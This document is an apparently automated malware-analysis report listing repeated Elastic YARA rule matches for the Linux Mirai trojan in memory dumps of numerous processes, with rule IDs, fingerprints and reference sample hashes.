Source: 7358.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7358.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7358.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6893.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6893.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6893.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6487.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6487.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6487.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6370.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6370.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6370.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6508.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6508.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6508.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6647.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6647.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6647.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7185.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7185.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7185.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6601.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6601.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6601.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6542.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6542.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6542.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6318.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6318.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6318.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6445.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6445.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6445.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7287.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7287.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7287.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7391.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7391.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7391.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6324.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6324.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6324.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7219.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7219.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7219.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6640.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6640.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6640.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6841.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6841.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6841.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6401.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6401.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
